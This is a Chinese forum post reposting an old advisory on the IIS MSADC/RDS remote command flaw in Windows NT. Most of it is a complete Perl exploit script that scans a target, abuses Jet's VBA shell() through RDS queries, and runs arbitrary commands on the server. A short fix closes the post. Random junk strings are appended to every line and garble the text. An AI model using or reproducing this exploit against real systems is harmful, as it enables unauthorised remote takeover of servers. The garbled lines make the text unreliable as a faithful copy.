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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )b)-ZS7  
H|3:6x  
涉及程序: MkfBu W;)  
Microsoft NT server U:^PC x`  
--$ 4Q(#  
描述: Cv6'`",Yzm  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _V7s#_p  
x!5'`A!W%  
详细: Vl& ?U  
如果你没有时间读详细内容的话,就删除: TJK[ev};S  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *Q ?tl\E  
有关的安全问题就没有了。 #49kjv@  
g?z/2zKR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3G}x;Cp\D  
1g8_Xe4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 *U&0<{|T  
关于利用ODBC远程漏洞的描述,请参看: a7r%X -  
~A'!2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,!#*GZ.ix  
C~2F9Pg  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 haK3?A,"_A  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp gG<~-8uQ  
a&/#X9/  
这里不再论述。 TaKLzd2  
PgtJ3oq [}  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 6dabU*  
J8uLJ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset v+46 QK|I&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :XZU&Sr"  
tn(JC%?^  
,)Me  
#将下面这段保存为txt文件,然后: "perl -x 文件名" MQ 5R O;RY  
T@2#6Tffo  
#!perl #`CA8!j!!  
# f$e[u E r  
# MSADC/RDS 'usage' (aka exploit) script 7puFz4+f  
# ObVGV  
# by rain.forest.puppy CZud& <  
# \2N!:%k  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2@'oe7E  
# beta test and find errors! v$7QIl_/7  
Mm.<r-b  
use Socket; use Getopt::Std; _aGOb;h  
getopts("e:vd:h:XR", \%args); WA)yfo0A  
l?Udn0F  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; vK|E>nL  
8@i7pBl@  
if (!defined $args{h} && !defined $args{R}) { xjfV?B'Y}V  
print qq~ :W!7mna  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %7zuQ \w  
-h <host> = host you want to scan (ip or domain) _}lZ,L(w  
-d <seconds> = delay between calls, default 1 second qE&v ;  
-X = dump Index Server path table, if available ] o*#t  
-v = verbose BLfTsNzmt  
-e = external dictionary file for step 5 *scVJ  
JD)(oK%C  
Or a -R will resume a command session '\Giv!>  
{> eXR?s/  
~; exit;} mn, =i  
0b+Wc43}K  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Jj!vh{  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} I4/8 _)b^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} IHam4$~-  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); QdT}wkX  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} z>58dA@f  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } N60rgSzI  
@e(o129  
if (!defined $args{R}){ $ret = &has_msadc; +giyX7BPJ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {@6= Q 6L  
Wk~W Ozr}^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0h#l JS*  
. "cmd /c "; _ky,;9G]  
$in=<STDIN>; chomp $in; 5]KW^sL  
$command="cmd /c " . $in ; |^:cG4e  
Gw>^[dmt!  
if (defined $args{R}) {&load; exit;} FQu8 vwV6>  
)Xk0VDNp$/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 7C,&*Ax,9  
&try_btcustmr; 6IBgt!=,  
Yw4n-0g  
print "\nStep 2: Trying to make our own DSN..."; $7O}S.x  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; t[ubn+  
QS%%^+E2  
print "\nStep 3: Trying known DSNs..."; HJLu'KY }  
&known_dsn; M2PAy! J  
`NCwK6/i  
print "\nStep 4: Trying known .mdbs...";  CJ1 7n  
&known_mdb; f sJ9bQm/  
U{7w#>V .  
if (defined $args{e}){ ~HTmO;HNf"  
print "\nStep 5: Trying dictionary of DSN names..."; xf<at->  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Bp_$.!Qy  
tjIl-IQ  
print "Sorry Charley...maybe next time?\n"; a|%J=k>>  
exit; 9>l*lCA  
Ov 5"  
############################################################################## +ln9c  
^V?<K.F  
sub sendraw { # ripped and modded from whisker ^8 zR  
sleep($delay); # it's a DoS on the server! At least on mine... rf $QxJ  
my ($pstr)=@_; (U&tt]|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Li!Vx1p;u.  
die("Socket problems\n"); )m`<H>[Eb=  
if(connect(S,pack "SnA4x8",2,80,$target)){ Rn}l6kbM  
select(S); $|=1; vMA]j>>  
print $pstr; my @in=<S>; wN@oYFoL  
select(STDOUT); close(S); f[@77m*  
return @in; x.7]/)  
} else { die("Can't connect...\n"); }} ~Mx!^  
:}5j##N  
############################################################################## (61EDKNd9  
*^g:P^4  
sub make_header { # make the HTTP request .X@FXx&  
my $msadc=<<EOT )Ub_@)X3%l  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  O{QA  
User-Agent: ACTIVEDATA &+cEV6vb+  
Host: $ip iIMd!Q.)@  
Content-Length: $clen ~D<IB#C  
Connection: Keep-Alive D&od?3}E  
.n#@$ nGZ  
ADCClientVersion:01.06 Mmxlp .l  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 5*+!+V^?X  
(zgW%{V@  
--!ADM!ROX!YOUR!WORLD! C>-aIz!y  
Content-Type: application/x-varg O[I\A[*  
Content-Length: $reqlen @OV|]u  
*AG#316  
EOT :yRo3c  
; $msadc=~s/\n/\r\n/g; KV]X@7`@  
return $msadc;} &,}j #3<  
5"CZh.J  
############################################################################## igIRSN}h  
3Ndq>  
sub make_req { # make the RDS request D>HOn^   
my ($switch, $p1, $p2)=@_; y+X2Pl  
my $req=""; my $t1, $t2, $query, $dsn; gnFr}L&j  
~k!j+>yT  
if ($switch==1){ # this is the btcustmr.mdb query `);AW(Q  
$query="Select * from Customers where City=" . make_shell(); Xnz3p"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GNgKo]u  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} W ?qmp|YD  
"Om=N@?  
elsif ($switch==2){ # this is general make table query q@Zn|NR  
$query="create table AZZ (B int, C varchar(10))"; 9f2UgNqe9  
$dsn="$p1";} G~Hzec{#tg  
eFaO7mz5V%  
elsif ($switch==3){ # this is general exploit table query SOIHePmwK  
$query="select * from AZZ where C=" . make_shell(); 1M}5>V{  
$dsn="$p1";} /.3}aj;6  
RZHd9v$  
elsif ($switch==4){ # attempt to hork file info from index server IEXt:  
$query="select path from scope()"; '9S8}q  
$dsn="Provider=MSIDXS;";} ! ='rc-E  
'JCZ]pZ  
elsif ($switch==5){ # bad query VXYK?Qc'  
$query="select"; S& S Q  
$dsn="$p1";} OHeT,@(mh  
8"U. Hnu  
$t1= make_unicode($query); Gcdd3W`O  
$t2= make_unicode($dsn); !D@ZYK;  
$req = "\x02\x00\x03\x00"; ;*Ivn@L  
$req.= "\x08\x00" . pack ("S1", length($t1)); G+%zn|  
$req.= "\x00\x00" . $t1 ; .ni_p 6!  
$req.= "\x08\x00" . pack ("S1", length($t2)); T?x[C4wf+  
$req.= "\x00\x00" . $t2 ; 5 MN8D COF  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;LG#.~f  
return $req;} e4!:c^?  
<g1hxfKx5  
############################################################################## |2RC#]/-Y  
~rDZ?~%  
sub make_shell { # this makes the shell() statement lwrC pD .  
return "'|shell(\"$command\")|'";} ,quoRan  
Bk*F_>X"  
############################################################################## 3on7~*  
VtnRgdJ  
sub make_unicode { # quick little function to convert to unicode jzDuE{  
my ($in)=@_; my $out; d Vj_8>  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;nodjbr,j  
return $out;} tKuVQH~D  
ToJ$A`_!`  
############################################################################## z.kvX+7'  
b6U2GDm\s  
sub rdo_success { # checks for RDO return success (this is kludge) Y&S24aql  
my (@in) = @_; my $base=content_start(@in); (Dw,DY9  
if($in[$base]=~/multipart\/mixed/){ mVVD!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Fh`~`eog  
return 0;} KVT-P};jy*  
A/u)# ^\  
############################################################################## zG ^$"f2  
?AJKBW^  
sub make_dsn { # this makes a DSN for us 7* yzEM  
my @drives=("c","d","e","f"); EB2w0a5  
print "\nMaking DSN: "; 4)@mSSfn.  
foreach $drive (@drives) { Y8m1M-#w  
print "$drive: "; .#rJ+.2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `(YxI  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 7J EbH?lEN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); wgamshm"d  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \#Pfj &*  
return 0 if $2 eq "404"; # not found/doesn't exist )Xv ilCk1  
if($2 eq "200") { _a6[{_Pc  
foreach $line (@results) { ~yH?=:>U  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} swM*k;$q{  
} return 0;} AS =?@2 q  
^>jwh  
############################################################################## Xc?&_\. +  
.?R!DYC`  
sub verify_exists { T)H{  
my ($page)=@_; H5Z$*4%G  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $, ,op(  
return $results[0];} Jtr"NS?a]  
IF44F3(V4  
############################################################################## syaPpM Q-  
lfqiyYFm  
sub try_btcustmr { 9y<*8bI   
my @drives=("c","d","e","f"); SKkUU^\#R`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ti I.W  
M luVx'  
foreach $dir (@dirs) { GBRa.;Kk  
print "$dir -> "; # fun status so you can see progress /atW8 `&  
foreach $drive (@drives) { Q36qIq_0e  
print "$drive: "; # ditto V:VO[e<e  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~GL] wF2#  
$reqlenlen=length( "$reqlen" ); n ~shK<!C  
$clen= 206 + $reqlenlen + $reqlen; 4lKq{X5<  
?QFpv #4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [n \2  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]Q>.HH  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m 8aITd8  
[8T^@YN  
############################################################################## :9QZPsL  
w8U&ls1b  
sub odbc_error { orWbU UC  
my (@in)=@_; my $base; ;[M}MFc/`  
my $base = content_start(@in); 9f&C  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {bJ`~b9e  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4nh>'v%pD  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >`A9[`$n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n:yTeZ=-s4  
return $in[$base+4].$in[$base+5].$in[$base+6];} zi]\<?\X  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &Low/Y'.jJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s'%R  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} FaDjLo2'o  
mP0yk|  
############################################################################## m^ tFi7c  
y:~ZLTAv  
sub verbose { C|}iCB  
my ($in)=@_; -o $QS,  
return if !$verbose; '}B+r@YCN  
print STDOUT "\n$in\n";} Cjc6d4~  
Gn ~6X-l  
############################################################################## L"o>wYx  
kXi6lh  
sub save { B?'#4J  
my ($p1, $p2, $p3, $p4)=@_; >[*8I\*@n  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {L/tst#C  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 05b_)&4R  
close OUT;} A v2 08}Y  
jRJn+  
############################################################################## 0n;< ge&~R  
;"dV"W  
sub load { -f%'  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; q*_/to  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  %oZ6l*  
@p=<IN>; close(IN); +l9!Fl{MK\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); \s=t|Wpu2  
$target= inet_aton($ip) || die("inet_aton problems"); glM$R&/  
print "Resuming to $ip ..."; 7UVzp v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; s$Z _48  
if($p[1]==1) { _B/ dWA,P  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; >z%&xgOa  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f !I[>&n  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); psg)*'r  
if (rdo_success(@results)){print "Success!\n";} ST:A<Da"  
else { print "failed\n"; verbose(odbc_error(@results));}} IC1NKn<k  
elsif ($p[1]==3){ %s|}Fz->  
if(run_query("$p[3]")){ RS)tO0  
print "Success!\n";} else { print "failed\n"; }} $~VRza 8Q  
elsif ($p[1]==4){ K 1 a\b"  
if(run_query($drvst . "$p[3]")){ 1IC~e^"  
print "Success!\n"; } else { print "failed\n"; }} 5ni~Q 9b  
exit;} [5G6VNh=  
6p?,(  
############################################################################## .1KhBgy^K  
d1AioQ9  
sub create_table { oSy yd  
my ($in)=@_; YwDbPX  
$reqlen=length( make_req(2,$in,"") ) - 28; ADDSCY=,  
$reqlenlen=length( "$reqlen" ); ++6`sMJ  
$clen= 206 + $reqlenlen + $reqlen; MZSy6v  
my @results=sendraw(make_header() . make_req(2,$in,"")); \;qW 3~  
return 1 if rdo_success(@results); i;/5Y'KZ  
my $temp= odbc_error(@results); verbose($temp); X*/ho  
return 1 if $temp=~/Table 'AZZ' already exists/; f&BY/ n,  
return 0;} YG@t5j#b  
w<Wf?aG  
############################################################################## YG3J$_?y0  
UTH*bL5/J2  
sub known_dsn { kCR_tn 4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N/ %WsQp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /178A;J y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H*ow\ Ct  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ([SU:F!uW(  
}001K  
foreach $dSn (@dsns) { bCo7*<I4  
print "."; fZ0M%f  
next if (!is_access("DSN=$dSn")); (.D~0a JU  
if(create_table("DSN=$dSn")){ Si8pzd  
print "$dSn successful\n"; l_o@miG/  
if(run_query("DSN=$dSn")){ }+.}J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [x+FcXb  
print "Something's borked. Use verbose next time\n";}}} print "\n";} K@I D/]PF  
#$18*?tLv|  
############################################################################## }4 )H   
d:BG#\e]v  
sub is_access { ,w {e  
my ($in)=@_; >, F bX8Zz  
$reqlen=length( make_req(5,$in,"") ) - 28; }&cu/o4  
$reqlenlen=length( "$reqlen" ); (gP)%  
$clen= 206 + $reqlenlen + $reqlen; @;*Ksy@1O  
my @results=sendraw(make_header() . make_req(5,$in,"")); Y$Z x,  
my $temp= odbc_error(@results); c6h.iBJ'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); QRHu 3w  
return 0;} {:6r;TB  
% tS,}ze  
############################################################################## /t+f{VX$  
O(fM?4w  
sub run_query { 7gf05Z'=  
my ($in)=@_; \-h%O jf4  
$reqlen=length( make_req(3,$in,"") ) - 28; `uOT+B%R  
$reqlenlen=length( "$reqlen" ); RL!Oi|8  
$clen= 206 + $reqlenlen + $reqlen; 9s\A\$("l  
my @results=sendraw(make_header() . make_req(3,$in,""));  gbF+WE  
return 1 if rdo_success(@results); L2\#w<d  
my $temp= odbc_error(@results); verbose($temp); ]V^iN=(_5  
return 0;} "I3@m%qv  
$"+djI?E9  
############################################################################## A\4D79>x  
-ws? "_w  
sub known_mdb { #.rdQ,)<  
my @drives=("c","d","e","f","g"); b*a#<K$T_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >_[ 9t  
my $dir, $drive, $mdb; t^+ik1.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; );#JL0I  
X <f8,n  
# this is sparse, because I don't know of many [xSF6  
my @sysmdbs=( "\\catroot\\icatalog.mdb", uatm/o^~,  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", l4F%VR4KT  
"\\system32\\certmdb.mdb", 2BQ j  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q]T1dz?  
z[b@ V  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", SIBtmm1W  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  7''??X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", QoI3>Oj=  
"\\cfusion\\cfapps\\security\\realm_.mdb", W0dSsjNio  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o_XflzC  
"\\cfusion\\database\\cfexamples.mdb", .c8g:WB<  
"\\cfusion\\database\\cfsnippets.mdb", k.uH~S_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", arIf'CG6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", a =J^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uxXBEq;  
"\\cfusion\\database\\smpolicy.mdb", J%u=Ucdh  
"\\cfusion\\database\cypress.mdb", 0(eB ZdRO  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", a L} % 2  
"\\website\\cgi-win\\dbsample.mdb", J"!vu.[  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <c2E'U)X  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" dG@%jD)  
); #these are just fz|cnU  
foreach $drive (@drives) { IHB} `e|  
foreach $dir (@dirs){ XW[j!`nlk  
foreach $mdb (@sysmdbs) { s2h@~y  
print "."; J[l7di5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ CS2 Bo  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; (/=f6^}  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ MLXNZd   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; GZEc l'h*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?4+9fE<Q  
} df W%{  
foreach $drive (@drives) { 5 h-@|t  
foreach $mdb (@mdbs) { ^]H5h]U '  
print "."; f86XkECZ;`  
if(create_table($drv . $drive . $dir . $mdb)){ |?!~{-o  
print "\n" . $drive . $dir . $mdb . " successful\n"; "Lzi+1  
if(run_query($drv . $drive . $dir . $mdb)){ ^H~h\,;zQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; fY{1F   
} else { print "Something's borked. Use verbose next time\n"; }}}} 9Vg?{v!yn  
} ;y,5k?  
3k\#CiB{  
############################################################################## g2BHHL;`  
/Gd=n  
sub hork_idx { d(\%Os   
print "\nAttempting to dump Index Server tables...\n"; sZjQ3*<-r  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; G? ])o5  
$reqlen=length( make_req(4,"","") ) - 28; t>L;kRujVJ  
$reqlenlen=length( "$reqlen" ); FtpK)9/4  
$clen= 206 + $reqlenlen + $reqlen; QX!-B  
my @results=sendraw2(make_header() . make_req(4,"","")); m,VOx7%n  
if (rdo_success(@results)){ = i$Fl{vH  
my $max=@results; my $c; my %d; X$HIVxyq2  
for($c=19; $c<$max; $c++){ MX$0Op  
$results[$c]=~s/\x00//g; !=pn77`g >  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C].iCxn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3DzMB?I  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; xe]y]  
$d{"$1$2"}="";} B;M?,<%FRU  
foreach $c (keys %d){ print "$c\n"; } rA3$3GLQ-  
} else {print "Index server doesn't seem to be installed.\n"; }} Jb0`42  
tRs [ YK  
############################################################################## p)jk>j B  
_t iujP  
sub dsn_dict { :y+2*lV  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]s]vZ  
while(<IN>){ )P%ZA)l%_o  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <lgYcdJ   
next if (!is_access("DSN=$dSn")); u8'Zl8 g  
if(create_table("DSN=$dSn")){ xqeyD*s  
print "$dSn successful\n"; 02f~En}>6  
if(run_query("DSN=$dSn")){ 4QH3fTv   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !02`t4Zc-  
print "Something's borked. Use verbose next time\n";}}} ~Y`ldL  
print "\n"; close(IN);} .7Dtm<K#  
lsJSYJG&  
############################################################################## LzG%Z1`  
Z~AO0zUKY  
sub sendraw2 { # ripped and modded from whisker &TnS4O  
sleep($delay); # it's a DoS on the server! At least on mine... S*==aftl(  
my ($pstr)=@_; ];VA!++  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !`k1:@NZ  
die("Socket problems\n"); _Us#\+]_:  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z 8S\@I  
print "Connected. Getting data"; ?h3Y)5xT  
open(OUT,">raw.out"); my @in; ],>@";9u"  
select(S); $|=1; print $pstr; ?~l6K(*2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} a+[RS]le  
close(OUT); select(STDOUT); close(S); return @in; ; ^*}#X d  
} else { die("Can't connect...\n"); }} y0{u<"t%w  
&T+atL`N  
############################################################################## %D UH@j  
Z 6t56"u  
sub content_start { # this will take in the server headers "fQ~uzg="  
my (@in)=@_; my $c; $~~Jw]   
for ($c=1;$c<500;$c++) { p2Z?T}fa}&  
if($in[$c] =~/^\x0d\x0a/){ "An,Q82oHf  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } z#zI1Am(O  
else { return $c+1; }}} JUsQ,ETn  
return -1;} # it should never get here actually >NO[UX%yP  
D|lzGt  
############################################################################## Y#]+Tm (+  
-j+UMlkB  
sub funky { 4~ q5,^kgB  
my (@in)=@_; my $error=odbc_error(@in); pf2[ , v/  
if($error=~/ADO could not find the specified provider/){ b[sx_b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; XtXEB<4Z  
exit;} 8Ry3`ct  
if($error=~/A Handler is required/){ 'OE&/ C [  
print "\nServer has custom handler filters (they most likely are patched)\n"; c%^7!FSg  
exit;} T%x}Y#U'`  
if($error=~/specified Handler has denied Access/){ )s)I2Z+  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4qphA9i1  
exit;}} h(<,fg1  
/vY(o1o x  
############################################################################## _- [''(E  
 H_B4  
sub has_msadc { qPWP&k  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); }HL]yDO  
my $base=content_start(@results); 9"@\s$ OBk  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); q YC;cKv  
return 0;} {i1| R"ta  
9 3U_tQ&1?  
######################## nxY\|@  
u9:`4b   
Yw22z #K  
解决方案: Kh"?%ZIa  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `uq8G  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \K_ET> !  
O1rvaOlr  
拿出来充数 哈哈
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